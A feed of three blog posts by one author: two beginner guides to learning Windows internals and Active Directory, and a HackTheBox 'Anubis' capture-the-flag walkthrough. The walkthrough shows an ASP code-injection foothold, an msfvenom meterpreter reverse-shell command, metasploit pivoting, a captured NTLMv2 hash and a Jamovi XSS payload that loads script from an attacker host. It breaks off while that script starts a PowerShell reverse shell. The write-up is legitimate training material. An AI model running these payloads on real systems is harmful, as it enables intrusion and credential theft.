run:</p><pre>winget install sysinternals</pre><p>Be sure to check out the documentation on the above page. If you prefer a companion book for these tools:</p><p><a href="https://www.amazon.com/Troubleshooting-Windows-Sysinternals-Tools-2nd/dp/0735684448/ref=sr_1_1?crid=2516CEH34B6AL&amp;keywords=troubleshooting+with+windows+sysinternals&amp;qid=1654572881&amp;sprefix=troubleshooting+with+windows+sysinternals%2Caps%2C128&amp;sr=8-1">Windows Sysinternals Administrator&#39;s Reference</a></p><h3><strong>3. OPEN SPECIFICATIONS</strong></h3><p><a href="https://docs.microsoft.com/en-us/openspecs/main/ms-openspeclp/3589baea-5b22-48f2-9d43-f5bea4960ddb">[MS-OPENSPECLP]: Open Specifications</a></p><p>Outside of <em>Windows Internals</em>, now we’re getting to the guts of Windows, Active Directory and Office. Warning: This documentation is vast. For example, the download just for Windows Protocol technical specifications and overviews is 600MB compressed. It’s pinned to my Twitter profile:</p><h3>malCOM on Twitter: &quot;Windows all the things https://t.co/ij1GRvMZd3 😘 / Twitter&quot;</h3><p>Windows all the things https://t.co/ij1GRvMZd3 😘</p><p>The amount of information here can be overwhelming, so let me share with you where to start: MS-WPO and MS-DOCO. These 2 documents describe how to navigate the Windows Protocols documentation.</p><p>For Windows Protocols, the documentation is split up into Windows Technology Overviews, Windows Technical Specifications, and References.</p><p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/MS-WINPROTLP/92b33e19-6fff-496b-86c3-d168206f9845">[MS-WINPROTLP]: Windows Protocols</a></p><p>When exploring a particular subject, always start with the overviews:</p><p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/MS-WINPROTLP/4a1806f9-2979-491d-af3c-f82ed0a4c1ba">[MS-WINPROTLP]: Overview Documents</a></p><h3><strong>4. IPC, LPC, ALPC, RPC, OLE, COM, DCOM, OH MY</strong></h3><p>Now we’ll briefly explore the nuts and bolts of Windows.</p><p><strong>IPC</strong>: Short for Interprocess Communications, IPC is a blanket term describing the mechanisms by which components of Windows communicate with each other, whether it be application to application, application to kernel, computer to computer, process to process, etc.</p><p><a href="https://docs.microsoft.com/en-us/windows/win32/ipc/interprocess-communications">Interprocess Communications - Win32 apps</a></p><p><strong>LPC, ALPC, RPC</strong>: Acronyms for Local Procedure Call (LPC), Asynchronous Local Procedure Call (ALPC), and Remote Procedure Call (RPC), these protocols are the foundation of Windows. Other protocols are typically extensions of them. In the Windows Protocols Technical Specifications, you will find MS-RPCE which explains relationships to other Windows Protocols. Also, you may want to read Open Group’s DCE 1.1: Remote Procedure Call documentation.</p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//pubs.opengroup.org/onlinepubs/009629399/toc.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/2b97dffbb0ef8dbe0855a80229a0ec3c/href">https://medium.com/media/2b97dffbb0ef8dbe0855a80229a0ec3c/href</a></iframe><p>A blog I really enjoyed when learning about ALPC, RPC, and IPC looks at these mechanisms from an offensive standpoint, which I highly recommend when learning any technology:</p><ul><li><a href="https://csandker.io/2021/01/10/Offensive-Windows-IPC-1-NamedPipes.html">Offensive Windows IPC Internals 1: Named Pipes</a></li><li><a href="https://csandker.io/2021/02/21/Offensive-Windows-IPC-2-RPC.html">Offensive Windows IPC Internals 2: RPC</a></li><li><a href="https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html">Offensive Windows IPC Internals 3: ALPC</a></li></ul><p><strong>OLE: </strong>Short for Object Linking and Embedding<strong>, </strong>you can find the technical specification for this protocol in Windows Protocols under<strong> MS-OAUT</strong>. When you think of OLE, the first thing that should come to mind is Microsoft Office and COM (see below).</p><p><a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/bdcda0e4-9314-489c-8492-d19073478372">[MS-WPO]: OLE Automation Protocol</a></p><p><strong>COM, DCOM: </strong>COM stands for Component Object Model, and DCOM stands for Distributed Component Object Model. Both of these protocols are extensions of RPC (Remote <em>Procedure</em> Protocol), but instead of calling procedures remotely, they use objects, the basis of object oriented programming and distributed computing in Windows today. See MS-RPCE, MS-DCOM, MS-COM+, MS-COMA, MS-COMEV, MS-COMQC, and MS-COMT.</p><p>Summary: Learning the underpinnings of the Windows operating systems is no easy task. Below are a couple of my favorite blogs for learning about these protocols in Windows. James Foreshaw has been writing about these protocols (and many others) since at least 2014 and has given many conference talks available on Youtube. Also, @bohops on Twitter has been writing about abuses of these protocols for several years.</p><ul><li><a href="https://www.tiraniddo.dev/2014/10/a-tale-of-two-net-methods.html">A Tale of Two .NET Methods</a></li><li><a href="https://bohops.com/">bohops</a></li></ul><h3><strong>5. CIS BENCHMARKS AND STIGS</strong></h3><p>Some might wonder why I’m mentioning compliance tools in a guide for self-learning Windows and Active Directory. Great question. We are going to use these benchmarks as a guide in our labs to practice “securing” Windows and Active Directory.</p><p>For those readers not yet familiar with CIS: Center for Internet Security (CIS), is a collaboration of experts resulting in guidelines (or benchmarks) for securing technology.</p><p>First, sign up to get access to benchmarks if you don’t already have an account:</p><p><a href="https://learn.cisecurity.org/benchmarks">CIS Benchmarks</a></p><p>Shortly after completing this form you will get an email to login and get access to all the benchmarks available. In the STIGs (Security Technical Information Guide), there are 4 levels of recommendations.</p><ul><li>Level 1: Not likely to cause utility and performance impacts in production</li><li>Level 2: A bit more hardened and may have utility and performance impacts</li><li>Next Generation: Likely to run into incompatibilities in production and requires a lot of testing before implementation in production</li><li>STIG: DoD recommendations; overlap with above levels; expect utility and performance impacts</li></ul><p>When viewing the table of contents, you may wonder what automated and manual refer to:</p><ul><li>Automated — audits of suggested security implementations can be automated</li><li>Manual — audits require additional manual steps to confirm the security measures are in place</li></ul><p>These benchmarks are a great source of information for students and professionals alike and should be a go to resource when exploring security implementations.</p><p>I hope you have enjoyed learning Windows and Active Directory Domain Services with me thus far. It’s been, and will continue to be, a fascinating journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=75c89dfbaf63" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beginners Guide to Self-Learning Windows and Active Directory: Part 1]]></title>
            <link>https://ericazelic.medium.com/beginners-guide-to-self-learning-windows-and-active-directory-part-1-b665399d252f?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/b665399d252f</guid>
            <category><![CDATA[active-directory-lab]]></category>
            <category><![CDATA[build-a-lab]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[learn-windows]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Mon, 23 May 2022 02:59:53 GMT</pubDate>
            <atom:updated>2022-05-23T06:15:22.074Z</atom:updated>
            <content:encoded><![CDATA[<p>In 2018 I began a journey to learn Windows and Active Directory.</p><p>Interesting enough, I’ve noticed that most universities don’t require Windows Internals or Active Directory in their curriculums. This is peculiar to me considering the market share Microsoft has in IT infrastructure around the world. Moreover, on-premises Active Directory networks are not going away even with the large shift to cloud and hybrid infrastructures. So, in this post, I’m going to share the references I’ve used in self-learning Windows and Active Directory.</p><h3>1. Open a Command Prompt and Look Around</h3><p>The best way to learn where everything in a file system is to open a command prompt and look in every directory. Google what those directories usually hold and their use. Play around with different commands. Write some batch scripts for fun. Here are two of my favorite references for learning the command line:</p><ul><li><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands">Windows commands</a></li><li><a href="https://ss64.com/nt/">An A-Z Index of Windows CMD commands - SS64.com</a></li></ul><h3>2. Read Ned Pyle’s Post-Graduate Active Directory Studies</h3><p>… and follow him on Twitter (@NerdPyle) for walkies and timeline cleanse worthy pictures. This will take a while so I hope you’re not in a hurry.</p><p><a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/post-graduate-ad-studies/ba-p/398057">Post-Graduate AD Studies</a></p><h3>3. Build a Lab</h3><p>You can read all day, but without hands on keyboard what are you really learning? Building a lab can seem intimidating and expensive. But you can do it reasonably inexpensive. Buying old servers on eBay is a great way to get the hardware you need for a low price. While they can be noisy and consume a lot of energy, they’re worth the $300–$500 you’ll spend.</p><p><a href="https://www.ebay.com/sch/i.html?_from=R40&amp;_trksid=p2047675.m570.l1313&amp;_nkw=virtualization+server&amp;_sacat=0">6,200+ results for virtualization server</a></p><p>You’re likely to buy a Dell Poweredge or HP Proliant if you go this route. It’s a great way to get enough RAM (64gb+) and hard drive space. It’s my suggestion to stay away from spindle discs if possible and go for solid state drives. You’ll want at least 1TB of drive space unless you already have a NAS. Also, 2 CPUs with at least 12 cores is best.</p><p>For those that have a bit more money to spend, you may opt for a Dell Optiplex with 64gb RAM and 1–2TB solid state drive. You might be able to find one without an operating system. In the current market, these specs will cost you $1500–2500. People, including myself, like the OptiPlex for it’s small form factor and minimal noise compared to servers.</p><p>Once your server comes, it won’t have an operating system. You’ll want to install ESXI or another hypervisor technology (i.e. Proxmox, Hyper-V). You can google how to install ESXI on a bare metal server.</p><p><a href="https://www.techrepublic.com/article/how-to-install-vmware-esxi/">How to install VMware&#39;s ESXi hypervisor on bare-metal hardware</a></p><p>Great. Now you’ll need some images to import into ESXI to build your lab.</p><p><a href="https://www.microsoft.com/en-us/evalcenter">Microsoft Evaluation Center</a></p><p>You’ll want multiple images: Windows server 2008r2, 2012r2, 2016, 2019, 2022, and Windows 10 &amp; 11 Enterprise. Once you get your first server up and running, promote it to a domain controller. Then, join other machines to the domain. Also, you may want to segment your lab from your home network instead of having a flat network. You can achieve this by using a PFSense firewall. Below is a nice guide to streamline this process (disregard Virtual Box section).</p><p><a href="https://securitytutorials.co.uk/creating-an-active-directory-home-lab/">Creating an Active Directory Home Lab - Security Tutorials</a></p><p>Advice: Don’t under provision your VMs. Windows can produce weird behaviors when under provisioned. For your DC, you’ll want at least 4gb RAM and 160gb hard drive space. For Exchange, you’ll need at least 8gb RAM. Workstations and member servers should get 4gb RAM. Also, ESXI will need about 100gb hard drive space.</p><h3>4. Build Your Domain and Experiment with Server Roles/Group Policy</h3><p>You’ll want to create a few OUs with users in various groups and experiment with different group policy settings. You’ll also want to set up various server roles: file server, web server, sql server, ADCS, Exchange, and maybe even ADFS.</p><ul><li><a href="https://docs.microsoft.com/en-us/windows-server/">Windows Server Documentation - Microsoft Docs</a></li><li><a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831669(v=ws.11)">Server Roles and Technologies in Windows Server 2012 R2 and Windows Server 2012</a></li><li><a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/group-policy/group-policy-overview">Group Policy overview - Windows Server</a></li></ul><h3>5. Read ADSecurity.org</h3><p>Sean Metcalf is an Active Directory expert and his blog is a must read.</p><p><a href="https://adsecurity.org/">Active Directory Security - Active Directory &amp; Enterprise Security, Methods to Secure Active Directory, Attack Methods &amp; Effective Defenses, PowerShell, Tech Notes, &amp; Geek Trivia...</a></p><p>Congratulations! After all this, you are now ready to really learn Windows and Active Directory. Above is a high level overview of pre-requisite knowledge required to delve deeper into Windows security and internals.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b665399d252f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Anubis]]></title>
            <link>https://ericazelic.medium.com/hackthebox-anubis-ca69f9d0e931?source=rss-4b5e6b2d7e69------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca69f9d0e931</guid>
            <category><![CDATA[pivoting]]></category>
            <category><![CDATA[adcs-abuse]]></category>
            <category><![CDATA[xss-to-rce]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[anubis]]></category>
            <dc:creator><![CDATA[EricaZelic]]></dc:creator>
            <pubDate>Sat, 29 Jan 2022 12:52:52 GMT</pubDate>
            <atom:updated>2022-05-01T22:21:31.004Z</atom:updated>
            <content:encoded><![CDATA[<p>Written by malCOM — October 2021</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*n1aV8dkGEViOnlqH_EHAnA.png" /></figure><p><strong>SUMMARY:</strong></p><p>This box is a domain controller with the firewall restricting inbound access to ports typically open on a Domain Controller (DC). Impacket rpcdump shows this machine is a DC with DNS running and likely has the Active Directory Certificate Services (AD CS) server role for an Enterprise Certificate Authority (CA). The foothold is via a web application which allows an asp.NET inline expression remote code execution (RCE) in the Contact form of the <a href="http://www.windcorp.htb">www.windcorp.htb</a> website. This lands us in a docker container. From there, inspection of a certificate signing request (CSR) found in the container reveals the name of another website: softwareportal.windcorp.htb. We can set up a pivot with metasploit to browse to that site and coerce a netNTLMv2 hash via the install.asp script. This hash provides valid credentials to access SMB shares. We can then exploit a Jamovi application with XSS to RCE by putting a malicious .omv file on a share to get a shell on the main host. Lastly, excessive certificate template permissions allow us to acquire the Administrator NT hash by creating a smart card certificate for Administrator from a low privileged user.</p><p><strong>NMAP:</strong></p><p>Starting out with nmap 10.10.11.102 -v we see the following ports open:</p><pre>PORT      STATE SERVICE<br>135/tcp   open  msrpc<br>443/tcp   open  https<br>445/tcp   open  microsoft-ds<br>593/tcp   open  http-rpc-epmap<br>49716/tcp open  unknown</pre><p>Another nmap reveals more information:</p><p>nmap -A -p 135,443,445,593,49716 10.10.11.102</p><pre>PORT      STATE    SERVICE       VERSION<br>135/tcp   open     msrpc         Microsoft Windows RPC<br>443/tcp   open     ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>| ssl-cert: Subject: commonName=<a href="http://www.windcorp.htb">www.windcorp.htb</a><br>| Subject Alternative Name: DNS:<a href="http://www.windcorp.htb">www.windcorp.htb</a><br>| Issuer: commonName=<a href="http://www.windcorp.htb">www.windcorp.htb</a><br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2021-05-24T19:44:56<br>| Not valid after:  2031-05-24T19:54:56<br>| MD5:   e2e7 86ef 4095 9908 14c5 3347 cdcb 4167<br>|_SHA-1: 7fce 781f 883c a27e 1154 4502 1686 ee65 7551 0e2a<br>|_ssl-date: 2021-08-19T08:57:09+00:00; +5m47s from scanner time.<br>| tls-alpn: <br>|_  http/1.1<br>445/tcp   open     microsoft-ds?<br>593/tcp   open     ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49716/tcp open     msrpc         Microsoft Windows RPC<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>OS fingerprint not ideal because: Missing a closed TCP port so results incomplete<br>No OS matches for host<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=250 (Good luck!)<br>IP ID Sequence Generation: Incremental<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: 5m46s, deviation: 0s, median: 5m46s<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2021-08-19T08:56:31<br>|_  start_date: N/A</pre><p>This box is configured with <a href="https://techcommunity.microsoft.com/t5/storage-at-microsoft/configure-smb-signing-with-confidence/ba-p/2418102">message signing</a> <strong>required</strong> which should <a href="https://msrc.microsoft.com/update-guide/vulnerability/ADV210003">prevent NTLM relay</a> attacks. Also, the shares are configured to restrict <a href="https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/guest-access-in-smb2-is-disabled-by-default">guest authentication or guest fallback</a> which means we would need <a href="https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-and-null-sessions-why-your-pen-test-is-probably-wrong/ba-p/1185365">explicit credentials</a> to access information in the shares.</p><p><strong>RPC:</strong></p><p>Using rpcdump from Impacket, we can enumerate some of the services running on the box.</p><pre>python3 rpcdump.py windcorp.htb/Administrator@10.10.11.102 -debug</pre><pre>...[snip]...</pre><pre>Protocol: [MS-ICPR]: ICertPassage Remote Protocol <br>Provider: certsrv.exe <br>UUID    : 91AE6020-9E3C-11CF-8D7C-00AA00C091BE v0.0 <br>Bindings: <br>          ncacn_ip_tcp:10.10.11.102[49711]<br>          ncacn_np:\\EARTH[\pipe\cert]<br>          ncalrpc:[OLE0BFAEC3BB5308DA9BAFA11FAEF21]</pre><pre>...[snip]...</pre><pre>Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management <br>Provider: dns.exe <br>UUID    : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0 <br>Bindings: <br>          ncacn_ip_tcp:10.10.11.102[49707]</pre><p>MS-ICPR is interesting. <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/021b19a6-a8ec-4732-8c76-70933bf53e94">According to Microsoft</a>, The ICertPassage Remote Protocol exposes a Remote Procedure Call (RPC) interface that allows a client to interact with a certification authority (CA) to request and receive X.509 certificates from the CA. The ICertPassage Remote Protocol only provides certificate enrollment functionality.</p><p>I didn’t notice any rpcdump output associated with <a href="https://github.com/cube0x0/CVE-2021-1675">PrintNightmare</a> (i.e. MS-RPRN, MS-PAR, spooler running), so I won’t test for that. The spooler is likely disabled.</p><p>I also didn’t notice reference to MS-EFSRPC or the associated LSARPC named pipe interfaces in the <a href="https://github.com/topotam/PetitPotam">original petitpotam PoC</a>, so I will skip testing for that as well since I don’t think I <a href="https://github.com/SecureAuthCorp/impacket/issues/451">can reflect the authentication back to the same machine</a>. Also, message signing is required. <strong><em>Update: As of 04/30/2022 there is now a tool to reflect </em></strong><a href="https://github.com/med0x2e/NTLMRelay2Self"><strong><em>NTLM</em></strong></a><strong><em> authentication back to the same machine reulting in privilege escalation. You can also do this with </em></strong><a href="https://twitter.com/filip_dragovic/status/1520496654171975682"><strong><em>Kerberos relaying</em></strong></a><strong><em> as long as LDAP signing is not enabled, but it’s not likely you would see this scenario in the real world (you’re not likely to reflect a Kerberos authentication back to yourself on a DC for privilege escalation). As for why this works? Either LDAP signing is disabled, the LDAP server is </em></strong><a href="https://twitter.com/cube0x0/status/1520518625827950595"><strong><em>ignoring the security flags</em></strong></a><strong><em> set by the rpc runtime, or DCs are excluded from the </em></strong><a href="https://twitter.com/cube0x0/status/1520512300213542912">SSECURITY_CONTEXT::ValidateUpgradeCriteria</a><strong><em> check</em></strong>.</p><p>rpcclient confirms this box is a DC but I was not able to get much more information aside from the domain SID with lsaquery.</p><pre>rpcclient -U &quot;&quot; -N 10.10.11.102</pre><pre>rpcclient $&gt; getdcname windcorp<br>\\EARTH</pre><p><strong>HTTPS:</strong></p><p>First I’ll add <a href="http://www.wincorp.htb">www.windcorp.htb</a>, earth.windcorp.htb, and windcorp.htb to my /etc/hosts file in case there is virtual host routing. Next, I’ll browse to the site on port 443, and check the page info where it’s shown that the certificate is being used for both client and server authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*d0PF8UPU1WEauYM4Ra61tg.png" /></figure><p>Clicking around the website we find some potential username information but we don’t have the host username naming convention. We’ll note this information and continue looking at the website.</p><pre>Amanda Jepson - Accountant<br>William Anderson - CTO<br>Sarah Johnson - Product Manager<br>Walter White - CEO<br>John Larson - Entrapreneur<br>Matt Brandon - Freelancer<br>Jena Karlis - Store Owner<br>Sara Wilsson - Designer<br>Saul Goodman - CEO</pre><p>Glancing over the website, we see two places that accept user input. We can set up a Burp proxy to inspect the packets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yy1LKBOvURAIxHjr_SleA.png" /></figure><p>When testing the Subscribebutton on the webpage, the server response says it doesn’t allow POST requests. The Contact form has a GET request with some parameters we can test in the save.asp script. Also, looking at the cookie and the page source, we can see this is a classic ASP application.</p><p>When testing ASP applications, we should always look for cross site scripting, SQL injections, and code injections which usually have the format &lt;% … %&gt;. Without knowing the format of ASP code injections or having BurpSuite Pro, it can be difficult to see the vulnerability. Testing some <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">payloads</a> for Server Side Template Injection (SSTI), we notice that the site is injectable in some way as shown highlighted below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*kiTTP64AX-BR8uHp9986Ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*DIwWjLSEqYrcbe1sKIgl4g.png" /></figure><p>Noticing the color differences and lack of the % characters in the server response for the supplied input in the message parameter, it seems we should be able to inject something starting with &lt; character. If we look at the <a href="https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions">asp.NET documentation</a>, there is a section describing Inline Expressions. That’s where we find our payload format of &lt;%= … %&gt;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*MTOxCwHWu2H8MD5TjN21Tg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*YdMnmAHsqhb3z7tqnZCb4A.png" /></figure><p>It’s clear the server is attempting to execute the code from the server response above. With a bit of determination, we find we can inject <a href="https://docs.microsoft.com/en-us/windows/win32/com/using-com-objects-in-active-server-pages">vbscript</a> that uses Windows Script Host (WSH) via <a href="https://staff.cdms.westernsydney.edu.au/~jianhua/SAP_300165/lectures/Lecture___4.html">wscript</a> to run system commands. We’ll test if we can ping our Kali box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*WbDygTpubK3rDacerzumaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*cqg8RRGk1Z_o7aQWbEz4fw.png" /></figure><p>NOTE: This is a classic ASP application and not ASP.NET. Either Embedded Code Block or Displaying Expression works in this scenario since the Displaying Expression is an equivalent of the Embedded Code Block that contains only the Response.Write(...) statement. However, the documentation by Microsoft is a bit confusing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*XWbCTDMKdXluzPrufm-2uQ.png" /><figcaption><a href="https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions">https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLsZ_2yTuaAmlQUnf6sLUA.png" /><figcaption><a href="https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions">https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions</a></figcaption></figure><p>I’ll skip testing with powershell Test-TCPConnection and go straight for a <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1">nishang</a> reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAOzolPnBKUMBJilMpbP2g.png" /></figure><p>Usually when whoami reveals we are nt authority\system after RCE in a web application, we are in some type of container. Looking at the output of tasklist /svc we can see cexecsvc is running. A quick google search lets us know that is Docker for Windows.</p><p>Looking around the container we find req.txt in the Administrator’s desktop folder. Also, the .ssh directory of the ContainerAdministrator user has a known_hostsfile with an IP address of 192.168.66.3. The ARP cache is unrevealing of anything significant. We cannot ping or TCP connect to the 192.168.66.3 address from this container.</p><p>After <a href="https://www.hackingarticles.in/file-transfer-cheatsheet-windows-and-linux/">transferring</a>req.txt to our Kali machine, we can use <a href="https://www.ibm.com/support/pages/openssl-commands-check-and-verify-your-ssl-certificate-key-and-csr">openssl</a> to get additional information from the CSR.</p><pre>openssl req -text -in ./req.txt -noout                                                                                                                                                           [16/16] Certificate Request:<br>    Data:<br>        Version: 1 (0x0)<br>        Subject: C = AU, ST = Some-State, O = WindCorp, CN = softwareportal.windcorp.htb         Subject Public Key Info:<br>            Public Key Algorithm: rsaEncryption<br>                RSA Public-Key: (2048 bit)<br>                Modulus:<br>                    00:a6:9b:4a:ff:85:91:c2:2a:c2:bf:04:3e:ce:15:</pre><p>After adding softwareportal.windcorp.htb to our hosts file, we’re not able to browse to it. Looking at ipconfig /all shows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*MnjT2axPQ5TIdJH7mMSqpA.png" /></figure><p>I’m going to set up a dynamic socks4 proxy on the 172.19.208.0/255.255.240.0 subnet to see if that will enable me to browse to the site. I’ll add softwareportal.windcorp.htb to my /etc/hosts file again, this time using the container’s default gateway address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*bPPo01rYpTH7HyHdWIfttw.png" /></figure><p>There’s several ways to set up <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md">network pivots</a> in Windows without ssh. To make this easier, I’ll upgrade my shell and use metasploit.</p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=443 LHOST=tun0 -f exe -o msf.exe</pre><p>Once we get a meterpreter shell we can configure our proxychains4.conffile, set up a route in metasploit using socks4, and change our browser network settings to match the socks4 proxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*6GfbM0dbnTyWbEVWpxNcsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*DSIxGCDK-uTgBR457z1MPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*H94zR9tuKWDd-w0FFoapXQ.png" /></figure><p>To set up our pivot using metasploit, from the meterpreter prompt:</p><pre>run post/multi/manage/autoroute<br>background <br>use auxiliary/server/socks_proxy <br>set version 4a <br>run<br>sessions -i 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*hIzYnYUT48ZE80atb7ANhw.png" /></figure><p>We can then use the meterpreter route command to check the configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*xnrn4TTuN89h7_XBR9iYHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nk8h5PNyIemLSYY2lRCKVA.png" /></figure><p>Now that we can browse to the softwareportal page, looking at the page source, we see the install.aspscript has an IP address in one of the parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wDHC6Jevilip2vZFKfmAA.png" /></figure><p>We’ll start responder -I tun0and see if we get a hash while substituting the IP address for our Kali box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3vWelwDBLn-y6MCDUPeDlw.png" /></figure><pre>[WinRM] NTLMv2 Client   : 10.10.11.102<br>[WinRM] NTLMv2 Username : windcorp\localadmin<br>[WinRM] NTLMv2 Hash     : localadmin::windcorp:7de73a7be56c0171:4A2495F5F2710E51A34E474F1029CB9E:010100000000000052E9C628F797D7013DCD63271CFEC8510000000002000800550059003500540001001E00570049004E002D00310032003000430034004A0039004C003900470039000400140055005900350054002E004C004F00430041004C0003003400570049004E002D00310032003000430034004A0039004C003900470039002E0055005900350054002E004C004F00430041004C000500140055005900350054002E004C004F00430041004C0008003000300000000000000000000000002100001B618E999103BD5437E19BE50FB62F0D6FA40EC40D02832E292F58E65C8DFEF20A0010000000000000000000000000000000000009001E0048005400540050002F00310030002E00310030002E00310034002E0035000000000000000000</pre><p>We can use john with a wordlist to get the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*vQYtmSTgGMCK-EBpZmwjjA.png" /></figure><p>Now that we have credentials, we can attempt to login but we’re not able to get a shell. However, we are able to access SMB shares.</p><p><strong>SMB:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*DeNKYqNqIgt_UFP6LkFLGQ.png" /></figure><p>If we take a look at the gpttmpl.inf file for the GPO associated with GUID {6AC1786C-016F-11D2–945F-00C04fB984F9} we can see some information about the privileges of the localadmin user and hardening configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*r3aTsq8kRoA4D_bGCo5IbA.png" /></figure><p>We can see our localadmin user only has SEBatchLogonRight and does NOT have the <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/allow-log-on-locally">SEInteractiveLogonRight</a>.</p><p>Looking in the shared share, we can see some of the executables that are hosted on the softwareportal as well as an Analytics folder with some .omv files. A quick google search reveals these files to be associated with the Jamovi software hosted on the softwareportal. We can also observe the timestamp for the whatif.omv file changes, suggesting it’s being opened frequently. While we cannot write to the Software directory, we can write to the /Documents/Analytics directory. I attempted to perform an <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">scf file attack</a> to coerce another netNTLMv2 hash, but after a short wait, I didn’t receive any hashes.</p><p>If we google exploit jamovi we see there is a recent CVE for Cross Site Scripting (XSS) and a <a href="https://github.com/theart42/cves/blob/master/CVE-2021-28079/CVE-2021-28079.md">github </a>(pictured below) that explains the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3dd4u5hSSRAKnjept20zow.png" /></figure><p>This github page happens to be that of the box creator. This serves as a good clue that we are on the right path. To investigate further, we can download and install the vulnerable application to better understand the vulnerability. We can grab a vulnerable version from: <a href="https://www.jamovi.org/downloads/jamovi-1.6.16.0-win64.exe">https://www[.]jamovi[.]org/downloads/jamovi-1.6.16.0-win64.exe</a></p><p><strong>JAMOVI XSS to RCE:</strong></p><p>After installing the Jamovi app on a Windows Server 2019 VM, we can test the vulnerability by attempting to execute calc.exe. Right clicking on a column produces a drop down menu where we can select Transformand insert a <a href="https://www.freecodecamp.org/news/node-js-child-processes-everything-you-need-to-know-e69498fe970a/">javascript</a> payload (shown below). After saving the file, if we navigate to where the .omv file is saved and click on it, we can verify the ability to run system commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eP_CMMiaDtEI5YjYd2DAqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hf-X0uPgOkZMq94krAixeg.png" /></figure><p>We can test the ability to get a reverse shell next with a staged payload since there is a character limit in the vulnerable input field of the Jamovi application:</p><pre>A&lt;script src=&quot;<a href="http://ip/a.js">http://attacker-ip/a.js</a>&quot;&gt;&lt;/script&gt;</pre><p>I’ll create a javascript file called a.jsto serve from my Kali box that executes a reverse shell:</p><pre>require(&#39;child_process&#39;).exec(&quot;powershell IEX((New-Object 